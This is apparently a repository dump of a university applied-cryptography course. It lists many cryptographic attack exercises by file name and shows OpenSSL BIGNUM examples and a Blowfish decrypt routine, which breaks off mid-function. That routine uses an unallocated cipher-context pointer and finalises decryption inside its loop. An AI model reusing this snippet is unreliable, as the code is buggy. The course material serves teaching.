├── AY1920 ├── OpenSSL │ ├── asymmetric_bignumbers │ │ ├── bignum.c │ │ ├── bignum2.c │ │ ├── bignum_op.c │ │ ├── during_class │ │ │ ├── 1_bignum_live.c │ │ │ ├── 2_bignum2_live.c │ │ │ ├── 3_primes_live.c │ │ │ ├── 4_bignum_op_live.c │ │ │ └── 5_rsa_keygen_live.c │ │ ├── primes.c │ │ ├── rsa_key_gen.c │ │ └── rsa_operations.c │ ├── blofish_decrypt.c │ ├── blofish_encrypt.c │ ├── dec_aes.c │ ├── enc_aes.c │ ├── enc_aes_simple.c │ ├── generate_key.c │ ├── hash_SHA1.c │ ├── hash_comparison+errors.c │ ├── hash_comparison.c │ ├── hash_comparison_template.c │ ├── hash_sha1_template.c │ ├── hmac_sha1.c │ ├── hmac_sha1_template.c │ ├── random.c │ └── random_template.c ├── attacks │ ├── CBC-Oracle │ │ ├── CBC_Oracle_Server.py │ │ ├── CBC_Oracle_client.py │ │ ├── CBC_Oracle_client_2.py │ │ ├── CBC_Oracle_client_3.py │ │ ├── CBC_Oracle_client_4.py │ │ ├── gen_ciphertext.py │ │ └── live │ │ │ └── cbc_client_live.py │ ├── ECB_copy_paste │ │ ├── ECB_forging_client.py │ │ ├── ECB_forging_server.py │ │ ├── live │ │ │ └── copy_paste_live.py │ │ └── mysecrets.py │ ├── LengthExtension │ │ ├── le_md5.py │ │ └── le_md5_live.py │ ├── RSA │ │ ├── 1_factor.py │ │ ├── 2_fermat.py │ │ ├── 3_common_prime.py │ │ ├── 4_common_modulus.py │ │ ├── 5_low_public_exp.py │ │ ├── 6_hastad_broadcast_RSA.py │ │ ├── LSB_Oracle │ │ │ ├── LSB_Oracle.py │ │ │ ├── LSB_client_1.py │ │ │ ├── LSB_client_2.py │ │ │ ├── LSB_client_3.py │ │ │ ├── generate_key_for_server.py │ │ │ ├── live │ │ │ │ ├── 6_hastad_broadcast_RSA_live.py │ │ │ │ ├── 7a_LSB_Oracle_live.py │ │ │ │ ├── 7b_LSB_client_live.py │ │ │ │ ├── 7c_LSB_client_decimal.py │ │ │ │ └── mysecrets.py │ │ │ └── mysecrets.py │ │ └── live │ │ │ ├── 1_factor_live.py │ │ │ ├── 2_fermat_live.py │ │ │ ├── 3_common_prime_live.py │ │ │ ├── 4_common_modulus_live.py │ │ │ └── 5_low_public_exp_live.py │ ├── Stream_nonce_reuse │ │ ├── attack.py │ │ ├── generate_CTR_ciphertexts.py │ │ └── live │ │ │ └── attack_live.py │ ├── bit_flipping │ │ ├── bf_client.py │ │ ├── bf_server_cbc.py │ │ ├── bit_flipping_cbc.py │ │ ├── bit_flipping_stream.py │ │ ├── live │ │ │ ├── bf_client_live.py │ │ │ └── bit_flipping_live.py │ │ └── mysecrets.py │ ├── ecb_decrypt │ │ ├── ECB_ACPAttack_Server.py │ │ ├── ECB_ACPAttack_Server_2.py │ │ ├── ECB_ACPAttack_client.py │ │ ├── ECB_ACPAttack_client_2.py │ │ ├── live │ │ │ └── ecb_client_live.py │ │ └── mysecrets.py │ ├── mitm │ │ ├── live │ │ │ └── mitm_live.py │ │ └── mitm.py │ └── mode_detector │ │ ├── detect_mode_client.py │ │ ├── detect_mode_client2.py │ │ ├── detect_mode_client3.py │ │ ├── detect_mode_server.py │ │ ├── detect_mode_server_2.py │ │ ├── detect_mode_server_3.py │ │ ├── live │ │ └── detect_live.py │ │ └── mysecrets.py └── py-basic │ ├── SRP │ ├── SRP_Server.py │ ├── SRP_user.py │ └── live │ │ ├── SRP_Server_live.py │ │ └── SRP_user_live.py │ ├── additional_material │ ├── 16.server_skeleton.py │ ├── 17.client_skeleton.py │ ├── 18.pwntools_process.py │ ├── 19.pwntools_process_2.py │ ├── 20.pwntools_interactive.py │ ├── 21.pwntools_remote.py │ └── 22.pwntools_ssh.py │ ├── asymmetric │ ├── DH.py │ ├── RSA_pycryptodome.py │ ├── RSA_signature.py │ ├── live │ │ ├── 1_primes_live.py │ │ ├── 2_RSA_pycryptodome_live.py │ │ └── 3_DH_live.py │ ├── primes.py │ ├── rsa_encrypt.py │ └── rsa_keygen.py │ ├── live │ ├── AES_example.py │ ├── AES_file.py │ ├── aead_live.py │ ├── digest_example.py │ ├── hmac512_live.py │ ├── input.txt │ ├── kdf_live.py │ ├── salsa_ex.py │ ├── salsa_file.py │ └── sha3_file.py │ └── symmetric │ ├── 1.gen_random_key.py │ ├── 10.hmac-sha512.py │ ├── 11.aead-aes-gcm.py │ ├── 12.sha256_hashlib.py │ ├── 13.HMAC_hashlib.py │ ├── 14.key_derivation.py │ ├── 3.stream-chacha20.py │ ├── 4a.stream-salsa.py │ ├── 4b.stream_encrypt_file_update.py │ ├── 5.block-AES+padding.py │ ├── 6.AES_encrypt_file.py │ ├── 7.stream_json.py │ ├── 8.sha256.py │ └── 9.hash_file_sha3.py ├── AY2021 ├── OpenSSL │ ├── asymmetric │ │ ├── bignum.c │ │ ├── bignum_in-out.c │ │ ├── bignum_op.c │ │ ├── live │ │ │ ├── 1_bignum_live.c │ │ │ ├── 2_bignum-in-out_live.c │ │ │ ├── 3_primes_live.c │ │ │ ├── 4_bignum_op_live.c │ │ │ └── 5_rsa_keygen_live.c │ │ ├── primes.c │ │ ├── rsa_key_gen.c │ │ └── rsa_operations.c │ └── symmetric │ │ ├── enc_aes+checks.c │ │ ├── enc_aes.c │ │ ├── enc_aes_split.c │ │ ├── genkey_and_save.c │ │ ├── hash_SHA1.c │ │ ├── live │ │ ├── 1_enc_aes_live.c │ │ ├── 1_random_live.c │ │ ├── 2_genkey_and_save_live.c │ │ ├── 3_hash_SHA1_live.c │ │ ├── 4_enc_aes+checks.c │ │ └── 5_hmac_sha512.c │ │ └── random.c ├── attacks │ ├── CBCPaddingOracle │ │ ├── CBCPaddingOracle_Server.py │ │ ├── CBCPaddingOracle_client.py │ │ ├── helper │ │ │ └── gen_ciphertext.py │ │ └── live │ │ │ └── CBCPaddingClient_live.py │ ├── ECBCopyPaste │ │ ├── ECB_CopyPaste_TestCookie_server.py │ │ ├── ECB_CopyPaste_client.py │ │ ├── ECB_CopyPaste_server.py │ │ └── live │ │ │ └── ECB_CopyPaste_Client_live.py │ ├── ECBDecryptionOracle │ │ ├── ECB_ACPAttack_Server.py │ │ ├── ECB_ACPAttack_client.py │ │ └── live │ │ │ └── ECB_DecryptionOracle_Cleint_live.py │ ├── ECBvsCBC │ │ ├── ECBvsCBCClient.py │ │ ├── ECBvsCBCServer.py │ │ ├── additionalServers │ │ │ ├── ECBvsCBCServerV2.py │ │ │ └── ECBvsCBCServerV3.py │ │ └── live │ │ │ └── ECBvsCBCClient.py │ ├── LengthExtension │ │ ├── live │ │ │ └── length_extension_md5_live.py │ │ ├── pymd5.py │ │ └── sha1.py │ ├── MD4Collisions │ │ ├── MD4Collision_CryptoPals_Solution(Challenge55).py │ │ ├── MD4Collision_Wang.py │ │ ├── md4.py │ │ └── util.py │ ├── RSA │ │ ├── LSB_Oracle_Attack │ │ │ ├── LSB_Oracle.py │ │ │ ├── LSB_Oracle_client.py │ │ │ └── LSB_Oracle_client_Decimal.py │ │ ├── common_modulus.py │ │ ├── common_prime.py │ │ ├── factorDB.py │ │ ├── fermat_factorization.py │ │ ├── hastad_broadcast_RSA.py │ │ ├── live │ │ │ ├── 1.factorDB_live.py │ │ │ ├── 2.Fermat_live.py │ │ │ ├── 3.common_prime_live.py │ │ │ ├── 4.common_modulus_live.py │ │ │ ├── 5.Low_Public_Exponent_live.py │ │ │ ├── 6_hastad_broadcast_RSA_live.py │ │ │ └── LSB_Oracle_client_live.py │ │ └── low_public_exponent.py │ ├── bit_flipping │ │ ├── bf_client.py │ │ ├── bf_server_cbc.py │ │ ├── bit_flipping.py │ │ └── live │ │ │ ├── 210408_2.bf_stream_live.py │ │ │ ├── 210408_3.bf_server_cbc.py │ │ │ └── 210408_4.bf_cbc_admin_live.py │ ├── keystream_reuse │ │ ├── freq_data.py │ │ └── live │ │ │ └── decrypt_live.py │ └── mitm │ │ ├── live │ │ └── 210408_1_mitm_live.py │ │ ├── mitm.py │ │ └── mitm_int.py ├── mysecrets.py └── py-basics │ ├── SRP │ ├── SRP_Server.py │ ├── SRP_user.py │ └── live │ │ └── SRP_live.py │ ├── asymmetric │ ├── DH.py │ ├── DHE.py │ ├── RSA_pycryptodome.py │ ├── RSA_signature.py │ ├── live │ │ ├── 1_rsa_from_primes_live.py │ │ ├── 2_rsa_pycryptodome_live.py │ │ ├── 3_DH_hazmat_live.py │ │ └── myrsakey.pem │ ├── primes.py │ ├── rsa_encrypt.py │ └── rsa_keygen.py │ └── symmetric │ ├── 1.gen_random_key.py │ ├── 10.hmac-sha512.py │ ├── 11.aead-aes-gcm.py │ ├── 12.sha256_hashlib.py │ ├── 13.HMAC_hashlib.py │ ├── 14.key_derivation.py │ ├── 2.mysecrets.py │ ├── 3.stream-chacha20.py │ ├── 4a.stream-salsa.py │ ├── 4b.stream_encrypt_file_update.py │ ├── 5.block-AES+padding.py │ ├── 6.AES_encrypt_file.py │ ├── 7.stream_json.py │ ├── 8.sha256.py │ ├── 9.hash_file_sha3.py │ └── live │ ├── 1.gen_random_key.py │ ├── 10.sha256_hashlib.py │ ├── 11.HMAC_hashlib.py │ ├── 12.key_derivation_live.py │ ├── 2.chacha20_live.py │ ├── 3.salsa-update_live.py │ ├── 4.stream_encrypt_file_update.py │ ├── 5.AES_live.py │ ├── 6.sha256_live.py │ ├── 7.sha3_live.py │ ├── 8.hmac-sha512_live.py │ └── 9.aead-aes-gcm_live.py ├── AY2122 ├── OpenSSL │ ├── asym │ │ ├── rsa_key_gen.c │ │ ├── rsa_operations.c │ │ └── rsa_sign_verify.c │ ├── bignum │ │ ├── bignum.c │ │ ├── bignum2.c │ │ ├── bignum_op.c │ │ └── primes.c │ ├── dgst │ │ ├── HMAC_computation.c │ │ ├── HMAC_computation_EVP.c │ │ ├── HMAC_verification.c │ │ ├── HMAC_verification_EVP.c │ │ ├── hash1.c │ │ ├── hash2.c │ │ ├── hash3.c │ │ └── hash4.c │ ├── enc │ │ ├── dec1.c │ │ ├── dec4.c │ │ ├── enc.enc │ │ ├── enc1.c │ │ ├── enc2.c │ │ ├── enc3.c │ │ └── enc4.c │ └── rand │ │ ├── rand1.c │ │ ├── rand2.c │ │ └── rand3.c └── Python │ ├── attacks │ ├── BF │ │ ├── bf_client.py │ │ ├── bf_server_cbc.py │ │ ├── bitflippling_video.py │ │ └── cbc_bf_video.py │ ├── CBCPaddingOracle │ │ ├── CBCPaddingOracle_Server.py │ │ ├── CBCPaddingOracle_client.py │ │ ├── CBC_PaddingOracle_Attack_video.py │ │ └── helper │ │ │ └── gen_ciphertext.py │ ├── ECB │ │ ├── ECBCopyPaste │ │ │ ├── ECB_CopyPaste_TestCookie_service.py │ │ │ ├── ECB_CopyPaste_server_genCookie_service.py │ │ │ └── ECB_copyPaste_Attack.py │ │ ├── ECB_ACPA │ │ │ ├── ECB_ACPAttack_Server.py │ │ │ ├── ECB_ACPAttack_Server_v2.py │ │ │ ├── ECB_ACPAttack_Server_v3.py │ │ │ ├── ECB_ACPAttack_client.py │ │ │ └── ECB_ACP_DecryptionAttack_video.py │ │ ├── ECBvsCBC │ │ │ ├── ECBvsCBCClient.py │ │ │ ├── ECBvsCBCServer.py │ │ │ └── additionalServers │ │ │ │ ├── ECBvsCBCServerV2.py │ │ │ │ └── ECBvsCBCServerV3.py │ │ ├── myconfig.py │ │ └── mysecrets.py │ ├── KeyStreamReuse │ │ └── keystream_reuse_attack.py │ ├── LengthExtension │ │ ├── pymd5.py │ │ └── sha1.py │ ├── MD4Collisions │ │ └── MD4Collision_Wang.py │ └── RSA Attacks │ │ ├── 1.factorDB.py │ │ ├── 2.fermat_factorization.py │ │ ├── 3.common_prime.py │ │ ├── 4.common_modulus.py │ │ ├── 5.low_public_exponent.py │ │ ├── 6.hastad_broadcast_RSA.py │ │ └── 7.LSB_Oracle_Attack │ │ ├── LSB_Oracle.py │ │ ├── LSB_Oracle_client.py │ │ └── LSB_Oracle_client_Decimal.py │ └── basics │ ├── asymmetric │ ├── 01_primes.py │ ├── 02_RSA_pycryptodome.py │ ├── 03_RSA_keygen_hazmat.py │ ├── 04_RSA_signature_hazmat.py │ ├── 05_RSA_encrypt_hazmat.py │ ├── 06_DH_simulate_protocol.py │ └── 07_DHE.py │ └── symmetric │ ├── 01.gen_random_key.py │ ├── 02.block-AES+padding.py │ ├── 03.tream-chacha20.py │ ├── 04.stream-salsa_incremental.py │ ├── 05.stream_encrypt_file_update.py │ ├── 06.AES_encrypt_file.py │ ├── 07.stream_json.py │ ├── 08.sha256.py │ ├── 09.hash_file_sha3.py │ ├── 10.hmac-sha512.py │ ├── 11.aead-aes-gcm.py │ ├── 12.key_derivation.py │ ├── 13.sha256_hashlib.py │ └── 14.HMAC_hashlib.py ├── AY2223 ├── OpenSSL │ ├── asym │ │ ├── rsa_key_gen_v1.1.c │ │ ├── rsa_key_gen_v3_1.c │ │ ├── rsa_operations_v1.1.c │ │ ├── rsa_operations_v3.1.c │ │ └── rsa_sign_verify.c │ ├── bignum │ │ ├── bignum.c │ │ ├── bignum2.c │ │ ├── bignum_op.c │ │ ├── primes_v1_1.c │ │ └── primes_v3_1.c │ ├── dgst │ │ ├── HMAC_computation.c │ │ ├── HMAC_computation_EVP.c │ │ ├── HMAC_verification.c │ │ ├── HMAC_verification_EVP.c │ │ ├── hash1.c │ │ ├── hash2.c │ │ ├── hash3.c │ │ └── hash4.c │ ├── enc │ │ ├── dec1.c │ │ ├── enc1.c │ │ ├── enc2.c │ │ ├── enc3.c │ │ └── enc4.c │ └── rand │ │ ├── rand1.c │ │ ├── rand2.c │ │ └── rand3.c └── Python │ ├── attacks │ ├── BF │ │ ├── bf_client.py │ │ ├── bf_server_cbc.py │ │ ├── bitflippling_video.py │ │ ├── myconfig.py │ │ └── mysecrets.py │ ├── CBCPaddingOracle │ │ ├── CBCPaddingOracle_Server.py │ │ ├── CBCPaddingOracle_client.py │ │ ├── CBC_PaddingOracle_Attack_video.py │ │ ├── __pycache__ │ │ │ ├── myconfig.cpython-310.pyc │ │ │ ├── mydata.cpython-310.pyc │ │ │ └── mysecrets.cpython-310.pyc │ │ ├── helper │ │ │ └── gen_ciphertext.py │ │ ├── myconfig.py │ │ ├── mydata.py │ │ └── mysecrets.py │ ├── ECB │ │ ├── ECBCopyPaste │ │ │ ├── ECB_CopyPaste_TestCookie_service.py │ │ │ ├── ECB_CopyPaste_server_genCookie_service.py │ │ │ └── ECB_copyPaste_Attack.py │ │ ├── ECB_ACPA │ │ │ ├── ECB_ACPAttack_Server.py │ │ │ ├── ECB_ACPAttack_client.py │ │ │ └── ECB_ACP_DecryptionAttack_video.py │ │ ├── ECBvsCBC │ │ │ ├── ECBvsCBCClient.py │ │ │ └── ECBvsCBCServer.py │ │ ├── myconfig.py │ │ └── mysecrets.py │ ├── KeyStreamReuse │ │ └── keystream_reuse_attack.py │ ├── LengthExtension │ │ ├── pymd5.py │ │ └── sha1.py │ └── RSA Attacks │ │ ├── 1.factorDB.py │ │ ├── 2.fermat_factorization.py │ │ ├── 3.common_prime.py │ │ ├── 4.common_modulus.py │ │ ├── 5.low_public_exponent.py │ │ ├── 6.hastad_broadcast_RSA.py │ │ └── 7.LSB_Oracle_Attack │ │ ├── LSB_Oracle.py │ │ ├── LSB_Oracle_client.py │ │ ├── LSB_Oracle_client_Decimal.py │ │ ├── __pycache__ │ │ └── mysecrets.cpython-310.pyc │ │ └── mysecrets.py │ └── basics │ ├── asymmetric │ ├── 01_primes.py │ ├── 02_RSA_pycryptodome.py │ ├── 03_RSA_keygen_hazmat.py │ ├── 04_RSA_signature_hazmat.py │ ├── 05_RSA_encrypt_hazmat.py │ ├── 06_DH_simulate_protocol.py │ └── 07_DHE.py │ └── symmetric │ ├── 01.gen_random_key.py │ ├── 02.block-AES+padding.py │ ├── 03.stream-chacha20.py │ ├── 04.stream-salsa_incremental.py │ ├── 05.stream_encrypt_file_update.py │ ├── 06.AES_encrypt_file.py │ ├── 07.stream_json.py │ ├── 08.sha256.py │ ├── 09.hash_file_sha3.py │ ├── 10.hmac-sha512.py │ ├── 11.aead-aes-gcm.py │ ├── 12.key_derivation.py │ ├── 13.sha256_hashlib.py │ └── 14.HMAC_hashlib.py ├── AY2324 ├── OpenSSL │ ├── asym │ │ ├── rsa_key_gen_v1.1.c │ │ ├── rsa_key_gen_v3+.c │ │ ├── rsa_operations_v1.1.c │ │ ├── rsa_operations_v3+.c │ │ └── rsa_sign_verify.c │ ├── bignum │ │ ├── bignum.c │ │ ├── bignum2.c │ │ ├── bignum_op.c │ │ ├── primes_v1_1.c │ │ └── primes_v3_2.c │ ├── dgst │ │ ├── HMAC_computation.c │ │ ├── HMAC_computation_EVP.c │ │ ├── HMAC_verification.c │ │ ├── HMAC_verification_EVP.c │ │ ├── hash1.c │ │ ├── hash2.c │ │ ├── hash3.c │ │ └── hash4.c │ ├── enc │ │ ├── dec1.c │ │ ├── enc1.c │ │ ├── enc2.c │ │ ├── enc3.c │ │ └── enc4.c │ └── rand │ │ ├── rand1.c │ │ ├── rand2.c │ │ └── rand3.c └── Python │ ├── attacks │ ├── BF │ │ ├── bf_client.py │ │ ├── bf_server_cbc.py │ │ ├── bitflippling_video.py │ │ ├── myconfig.py │ │ └── mysecrets.py │ ├── CBCPaddingOracle │ │ ├── CBCPaddingOracle_Server.py │ │ ├── CBCPaddingOracle_client.py │ │ ├── CBC_PaddingOracle_Attack_video.py │ │ ├── __pycache__ │ │ │ ├── myconfig.cpython-310.pyc │ │ │ ├── mydata.cpython-310.pyc │ │ │ └── mysecrets.cpython-310.pyc │ │ ├── helper │ │ │ └── gen_ciphertext.py │ │ ├── myconfig.py │ │ ├── mydata.py │ │ └── mysecrets.py │ ├── ECB │ │ ├── ECBCopyPaste │ │ │ ├── ECB_CopyPaste_TestCookie_service.py │ │ │ ├── ECB_CopyPaste_server_genCookie_service.py │ │ │ └── ECB_copyPaste_Attack.py │ │ ├── ECB_ACPA │ │ │ ├── ECB_ACPAttack_Server.py │ │ │ ├── ECB_ACPAttack_client.py │ │ │ └── ECB_ACP_DecryptionAttack_video.py │ │ ├── ECBvsCBC │ │ │ ├── ECBvsCBCClient.py │ │ │ └── ECBvsCBCServer.py │ │ ├── myconfig.py │ │ └── mysecrets.py │ ├── LengthExtension │ │ ├── pymd5.py │ │ └── sha1.py │ └── RSA Attacks │ │ ├── 1.factorDB.py │ │ ├── 2.fermat_factorization.py │ │ ├── 3.common_prime.py │ │ ├── 4.common_modulus.py │ │ ├── 5.low_public_exponent.py │ │ ├── 6.hastad_broadcast_RSA.py │ │ └── 7.LSB_Oracle_Attack │ │ ├── LSB_Oracle.py │ │ ├── LSB_Oracle_client.py │ │ ├── LSB_Oracle_client_Decimal.py │ │ └── mysecrets.py │ └── basics │ ├── asymmetric │ ├── 01_primes.py │ ├── 02_RSA_pycryptodome.py │ ├── 03_RSA_keygen_hazmat.py │ ├── 04_RSA_signature_hazmat.py │ ├── 05_RSA_encrypt_hazmat.py │ ├── 06_DH_simulate_protocol.py │ └── 07_DHE.py │ └── symmetric │ ├── 01.gen_random_key.py │ ├── 02.block-AES+padding.py │ ├── 03.stream-chacha20.py │ ├── 04.stream-salsa_incremental.py │ ├── 05.stream_encrypt_file_update.py │ ├── 06.AES_encrypt_file.py │ ├── 07.stream_json.py │ ├── 08.sha256.py │ ├── 09.hash_file_sha3.py │ ├── 10.hmac-sha512.py │ ├── 11.aead-aes-gcm.py │ ├── 12.key_derivation.py │ ├── 13.sha256_hashlib.py │ └── 14.HMAC_hashlib.py ├── AY2425 ├── OpenSSL │ ├── asym │ │ ├── rsa_key_gen_v1.1.c │ │ ├── rsa_key_gen_v3+.c │ │ ├── rsa_operations_v1.1.c │ │ ├── rsa_operations_v3+.c │ │ └── rsa_sign_verify.c │ ├── bignum │ │ ├── bignum.c │ │ ├── bignum2.c │ │ ├── bignum_op.c │ │ ├── primes_v1_1.c │ │ └── primes_v3_2.c │ ├── dgst │ │ ├── HMAC_computation.c │ │ ├── HMAC_computation_EVP.c │ │ ├── HMAC_verification.c │ │ ├── HMAC_verification_EVP.c │ │ ├── hash1.c │ │ ├── hash2.c │ │ ├── hash3.c │ │ └── hash4.c │ ├── enc │ │ ├── dec1.c │ │ ├── enc1.c │ │ ├── enc2.c │ │ ├── enc3.c │ │ └── enc4.c │ └── rand │ │ ├── rand1.c │ │ ├── rand2.c │ │ └── rand3.c └── Python │ ├── attacks │ ├── BF │ │ ├── __pycache__ │ │ │ ├── myconfig.cpython-310.pyc │ │ │ └── mysecrets.cpython-310.pyc │ │ ├── bf_client.py │ │ ├── bf_server_cbc.py │ │ ├── bitflippling_video.py │ │ ├── myconfig.py │ │ └── mysecrets.py │ ├── CBCPaddingOracle │ │ ├── CBCPaddingOracle_Server.py │ │ ├── CBCPaddingOracle_client.py │ │ ├── CBC_PaddingOracle_Attack_video.py │ │ ├── __pycache__ │ │ │ ├── myconfig.cpython-310.pyc │ │ │ ├── mydata.cpython-310.pyc │ │ │ └── mysecrets.cpython-310.pyc │ │ ├── helper │ │ │ └── gen_ciphertext.py │ │ ├── myconfig.py │ │ ├── mydata.py │ │ └── mysecrets.py │ ├── ECB │ │ ├── ECBCopyPaste │ │ │ ├── ECB_CopyPaste_TestCookie_service.py │ │ │ ├── ECB_CopyPaste_server_genCookie_service.py │ │ │ ├── ECB_copyPaste_Attack.py │ │ │ ├── __pycache__ │ │ │ │ ├── ECB_CopyPaste_server_genCookie_service.cpython-310.pyc │ │ │ │ ├── myconfig.cpython-310.pyc │ │ │ │ └── mysecrets.cpython-310.pyc │ │ │ ├── myconfig.py │ │ │ └── mysecrets.py │ │ ├── ECB_ACPA │ │ │ ├── ECB_ACPAttack_Server.py │ │ │ ├── ECB_ACPAttack_client.py │ │ │ ├── ECB_ACP_DecryptionAttack_video.py │ │ │ └── mysecrets.py │ │ └── ECBvsCBC │ │ │ ├── ECBvsCBCClient.py │ │ │ ├── ECBvsCBCServer.py │ │ │ ├── __pycache__ │ │ │ ├── myconfig.cpython-310.pyc │ │ │ └── mysecrets.cpython-310.pyc │ │ │ ├── myconfig.py │ │ │ └── mysecrets.py │ ├── KeyStreamReuse │ │ └── keystream_reuse_attack.py │ ├── LengthExtension │ │ ├── pymd5.py │ │ └── sha1.py │ └── RSA Attacks │ │ ├── 1.factorDB.py │ │ ├── 2.fermat_factorization.py │ │ ├── 3.common_prime.py │ │ ├── 4.common_modulus.py │ │ ├── 5.low_public_exponent.py │ │ ├── 6.hastad_broadcast_RSA.py │ │ └── 7.LSB_Oracle_Attack │ │ ├── LSB_Oracle.py │ │ ├── LSB_Oracle_client.py │ │ ├── LSB_Oracle_client_Decimal.py │ │ └── mysecrets.py │ └── basics │ ├── asymmetric │ ├── 01_primes.py │ ├── 02_RSA_pycryptodome.py │ ├── 03_RSA_keygen_hazmat.py │ ├── 04_RSA_signature_hazmat.py │ ├── 05_RSA_encrypt_hazmat.py │ ├── 06_DH_simulate_protocol.py │ └── 07_DHE.py │ └── symmetric │ ├── 01.gen_random_key.py │ ├── 02.block-AES+padding.py │ ├── 03.stream-chacha20.py │ ├── 04.stream-salsa_incremental.py │ ├── 05.stream_encrypt_file_update.py │ ├── 06.AES_encrypt_file.py │ ├── 07.stream_json.py │ ├── 08.sha256.py │ ├── 09.hash_file_sha3.py │ ├── 10.hmac-sha512.py │ ├── 11.aead-aes-gcm.py │ ├── 12.key_derivation.py │ ├── 13.sha256_hashlib.py │ └── 14.HMAC_hashlib.py └── README.md /AY1920/OpenSSL/asymmetric_bignumbers/bignum.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | // a newly instantiated BIGNUM is initialized to 0 6 | BIGNUM *b1=BN_new(); 7 | BIGNUM *b2=BN_new(); 8 | BIGNUM *b3=BN_new(); 9 | BN_CTX *ctx=BN_CTX_new(); 10 | 11 | // print after init 12 | BN_print_fp(stdout,b3); 13 | printf("\n"); 14 | 15 | // roughly speaking: word functions mean -> unsigned long 16 | BN_set_word(b1,354); 17 | BN_set_word(b2,75); 18 | 19 | // b1 % b2 --> b3 20 | BN_mod(b3,b1,b2,ctx); 21 | 22 | // print in hex format 23 | BN_print_fp(stdout,b3); 24 | printf("\n"); 25 | 26 | 27 | BN_free(b1); 28 | BN_free(b2); 29 | BN_free(b3); 30 | 31 | BN_CTX_free(ctx); 32 | 33 | return 0; 34 | } 35 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/asymmetric_bignumbers/bignum2.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 7 | 8 | BIGNUM *big_number = BN_new(); 9 | //creeate from decimal string 10 | BN_dec2bn(&big_number, num_string); 11 | 12 | BN_print_fp(stdout,big_number); 13 | printf("\n"); 14 | 15 | char *num_string_after = BN_bn2hex(big_number); 16 | printf("%s\n", num_string_after); 17 | printf("%s\n", BN_bn2dec(big_number)); 18 | 19 | // politely free OpenSSL generated heap structures 20 | OPENSSL_free(num_string_after); 21 | BN_free(big_number); 22 | 23 | return 0; 24 | } 25 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/asymmetric_bignumbers/during_class/1_bignum_live.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main() 4 | { 5 | 6 | BIGNUM *b1 = BN_new(); 7 | BIGNUM *b2 = BN_new(); 8 | BIGNUM *b3 = BN_new(); 9 | 10 | BN_CTX *ctx = BN_CTX_new(); 11 | 12 | // after initialization value is 0 13 | BN_print_fp(stdout,b1); 14 | printf("\n"); 15 | 16 | // how to assign values 17 | // int or long values in standard case 18 | BN_set_word(b1,354); // word means at most a ulong 19 | BN_set_word(b2,75); 20 | BN_print_fp(stdout,b1); 21 | printf("\n"); 22 | BN_print_fp(stdout,b2); 23 | printf("\n"); 24 | 25 | 26 | //simple operation 27 | BN_mod(b3, b1, b2, ctx); 28 | BN_print_fp(stdout,b3); 29 | printf("\n"); 30 | 31 | printf("NUM = %s\n",BN_bn2dec(b3)); 32 | 33 | // after usage you free all the memory 34 | BN_free(b1); 35 | BN_free(b2); 36 | BN_free(b3); 37 | 38 | BN_CTX_free(ctx); 39 | 40 | } 41 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/asymmetric_bignumbers/during_class/2_bignum2_live.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main () 5 | { 6 | 7 | char num_string[] = "123456789012345678901234567890123456789012345678901234567890"; 8 | 9 | BIGNUM *big_number = BN_new(); 10 | BN_dec2bn(&big_number,num_string); 11 | 12 | BN_print_fp(stdout,big_number); 13 | printf("\n"); 14 | 15 | char *num_string_after_conv = BN_bn2hex(big_number); // allocated the structure: heap 16 | printf("%s\n",num_string_after_conv); 17 | 18 | // free all the dynamically allocated memory 19 | BN_free(big_number); 20 | OPENSSL_free(num_string_after_conv); 21 | 22 | return 0; 23 | 24 | } 25 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/asymmetric_bignumbers/during_class/4_bignum_op_live.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | 4 | int main() 5 | { 6 | 7 | BIGNUM *a=BN_new(); 8 | BIGNUM *b=BN_new(); 9 | BIGNUM *res=BN_new(); 10 | BN_CTX *ctx=BN_CTX_new(); 11 | 12 | 13 | BN_set_word(a,8); 14 | BN_set_word(b,14); 15 | 16 | BN_add(res, a, b); 17 | BN_print_fp(stdout,res); 18 | puts(""); 19 | printf("%d\n",BN_get_word(res)); 20 | 21 | BN_sub(res, b, a); 22 | BN_print_fp(stdout,res); 23 | puts(""); 24 | printf("%d\n",BN_get_word(res)); 25 | 26 | 27 | BIGNUM *div = BN_new(); 28 | BIGNUM *rem = BN_new(); 29 | 30 | BN_div(div,rem,b,a,ctx); 31 | printf("div=%d, rem=%d\n",BN_get_word(div),BN_get_word(rem)); 32 | 33 | /* 1 on success, 0 on error */ 34 | 35 | /* 36 | int BN_mod_exp(BIGNUM *r, BIGNUM *a, const BIGNUM *p, 37 | const BIGNUM *m, BN_CTX *ctx); 38 | a^p mod m --> r 39 | */ 40 | BIGNUM *m=BN_new(); 41 | BN_set_word(m,35); 42 | if(!BN_mod_exp(res,a,b,m,ctx)){ 43 | ERR_print_errors_fp(stdout); 44 | exit(1); 45 | } 46 | 47 | 48 | BN_print_fp(stdout,res); 49 | puts(""); 50 | printf("%d\n",BN_get_word(res)); 51 | 52 | 53 | 54 | 55 | 56 | return 0; 57 | 58 | } 59 | -------------------------------------------------------------------------------- /AY1920/OpenSSL/blofish_decrypt.c: -------------------------------------------------------------------------------- 1 | /* from OpenSSL documentation */ 2 | 3 | int decrypt (int infd, int outfd) 4 | { 5 | unsigned char outbuf[IP_SIZE]; 6 | int olen, tlen, n; 7 | char inbuff[OP_SIZE]; 8 | EVP_CIPHER_CTX *ctx; 9 | 10 | EVP_CIPHER_CTX_init (ctx); 11 | EVP_DecryptInit (ctx, EVP_bf_cbc (), key, iv); 12 | for (;;) 13 | { 14 | bzero (& inbuff, OP_SIZE); 15 | if ((n = read (infd, inbuff, OP_SIZE)) == -1) 16 | { perror ("read error"); break; } 17 | else if (n == 0) break; 18 | 19 | bzero (& outbuf, IP_SIZE); 20 | if (EVP_DecryptUpdate (ctx, outbuf, & olen, inbuff, n) != 1) 21 | { 22 | printf ("error in decrypt update\n"); return 0; 23 | } 24 | 25 | if (EVP_DecryptFinal (ctx, outbuf + olen, & tlen) != 1) 26 | { printf ("error in decrypt final\n"); return 0; 27 | } 28 | 29 | olen += tlen; 30 | if ((n = write (outfd, outbuf, olen)) == -1) 31 | perror ("write error"); 32 | } 33 | 